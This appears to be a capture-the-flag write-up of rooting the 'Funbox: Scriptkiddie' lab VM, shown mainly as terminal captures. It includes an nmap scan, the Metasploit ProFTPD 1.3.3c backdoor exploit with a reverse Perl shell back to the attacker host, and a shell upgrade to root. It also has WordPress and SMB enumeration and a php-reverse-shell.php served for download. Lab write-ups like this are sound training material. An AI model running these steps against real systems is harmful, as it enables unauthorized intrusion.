```
❯ cat version -l python
File: version
# Nmap 7.95 scan initiated Tue Mar 11 17:39:19 2025 as: /usr/lib/nmap/nmap --privileged -sCV -p21,22,25,80,110,139,143,445 -oN version 10.0.2.63
Nmap scan report for 10.0.2.63
Host is up (0.00075s latency).

PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         ProFTPD 1.3.3c
22/tcp  open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a6:0e:30:35:3b:ef:43:44:f5:1c:d7:c6:58:64:09:92 (RSA)
|   256 c2:d8:bd:62:bf:13:89:28:f8:61:e0:a6:c4:f7:a5:bf (ECDSA)
|_  256 12:60:6e:58:ee:f2:bd:9c:ff:b0:35:05:83:08:71:b8 (ED25519)
25/tcp  open  smtp        Postfix smtpd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=funbox11
| Not valid before: 2021-07-19T16:52:14
|_Not valid after:  2031-07-17T16:52:14
|_smtp-commands: funbox11, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
80/tcp  open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Funbox: Scriptkiddie
|_http-generator: WordPress 5.7.2
|_http-server-header: Apache/2.4.18 (Ubuntu)
110/tcp open  pop3        Dovecot pop3d
|_pop3-capabilities: SASL RESP-CODES AUTH-RESP-CODE PIPELINING CAPA UIDL TOP
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
|_imap-capabilities: IDLE LOGINDISABLEDA0001 Pre-login IMAP4rev1 more listed ID post-login ENABLE capabilities have LOGIN-REFERRALS OK SASL-IR LITERAL+
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
MAC Address: 08:00:27:0F:37:A0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts:  funbox11, FUNBOX11; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -19m57s, deviation: 34m39s, median: 2s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
| smb-security-mode:
|   account_used: guest
```

```
 GNU nano 8.3                                                    /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

10.0.2.63 funbox11
```

```
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > options

Module options (exploit/unix/ftp/proftpd_133c_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:
   RHOSTS                    yes       The target host(s), see https
   RPORT    21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set rhosts 10.0.2.63
```

```
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set PAYLOAD 6
PAYLOAD => cmd/unix/reverse_perl
```

```
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > run
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.63:21 - Sending Backdoor Command
[*] Command shell session 1 opened (10.0.2.15:4444 -> 10.0.2.63:40936) at 2025-03-11 20:08:49 +0100

python -c 'import pty;pty.spawn("/bin/bash")'
root@funbox11:/#
```

```
cat root.txt
$$$$$$$$\                $$\
$$  _____|               $$ |
$$ |   $$\   $$\ $$$$$$$\  $$$$$$$\   $$$$$$\  $$\   $$\ $$\
$$$$$\ $$ |  $$ |$$  __$$\ $$  __$$\ $$  __$$\ \$$\ $$  |\__|
$$  __|$$ |  $$ |$$ |  $$ |$$ |  $$ |$$ /  $$ | \$$$$  /
$$ |   $$ |  $$ |$$ |  $$ |$$ |  $$ |$$ |  $$ | $$  $$<  $$\
$$ |   \$$$$$$  |$$ |  $$ |$$$$$$$  |\$$$$$$  |$$  /\$$\ \__|
\__|    \______/ \__|  \__|\_______/  \______/ \__/  \__|



 $$$$$$\                    $$\           $$\     $$\       $$\      $$\       $$\ $$\
$$  __$$\                   \__|          $$ |    $$ |      \__|     $$ |      $$ |\__|
$$ /  \__| $$$$$$$\  $$$$$$\  $$\  $$$$$$\ $$$$$$\   $$ |  $$\ $$\  $$$$$$$ | $$$$$$$ |$$\  $$$$$$\
\$$$$$$\  $$  _____|$$  __$$\ $$ |$$  __$$\\_$$  _|  $$ | $$ |$$ |$$  __$$ |$$  __$$ |$$ |$$  __$$\
 \____$$\ $$ /      $$ |  \__|$$ |$$ /  $$ |  $$ |    $$$$$$  / $$ |$$ /  $$ |$$ /  $$ |$$ |$$$$$$$$ |
$$\   $$ |$$ |      $$ |      $$ |$$ |  $$ |  $$ |$$\ $$  _$$<  $$ |$$ |  $$ |$$ |  $$ |$$ |$$   ____|
\$$$$$$  |\$$$$$$$\ $$ |      $$ |$$$$$$$  |  \$$$$  |$$ | \$$\ $$ |\$$$$$$$ |\$$$$$$$ |$$ |\$$$$$$$\
 \______/  \_______|\__|      \__|$$  ____/    \____/ \__|  \__|\__| \_______| \_______|\__| \_______|
                                  $$ |
                                  $$ |
                                  \__|

Please, tweet this to: @0815R2d2
Thank you...
```

```
❯ enum4linux -a 10.0.2.63
Starting enum4linux v0.9.1
```

```
[+] Enumerating users using SID S-1-22-1 a
S-1-22-1-1000 Unix User\bill (Local User)
```

Wappalyzer

TECNOLOGÍAS | MÁS INFORMACIÓN | Export

Gestor de Contenido
WordPress 6.5.5

Blog
WordPress 6.5.5

Tipografía
Twitter Emoji (Twemoji)
Font Awesome
Google Font API

Miscelánea
RSS

Lenguaje de programación
PHP

Sistema Operativo
Ubuntu

Base de Datos
MySQL

Librerías JavaScript
jQuery 3.7.1
jQuery Migrate 3.4.1

ADMIN

Website:

http://funbox11

Posts by admin:

- Mount Fuji!

Your email address will not be published. Required fiel

Comment *

hola

Name *

Hola

Email *

hola@hola.com

Website

http://10.0.2.15/php-reverse-shell.php

Save my name, email, and website in this browser

POST COMMENT

```
❯ searchsploit wordpress 5.7.2
------------------------------------------------------------------------
 Exploit Title
------------------------------------------------------------------------
NEX-Forms WordPress plugin < 7.9.7 - Authenticated SQLi
WordPress Plugin DZS Videogallery < 8.60 - Multiple Vulnerabilities
WordPress Plugin iThemes Security < 7.0.3 - SQL Injection
WordPress Plugin Rest Google Maps < 7.11.18 - SQL Injection
------------------------------------------------------------------------
```

```
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.0.2.15 - - [11/Mar/2025 19:52:51] "GET /php-reverse-shell.php HTTP/1.1" 200 -
```

```
❯ wpscan --url http://funbox11 --enumerate u
```

```
[i] User(s) Identified:

[+] admin
```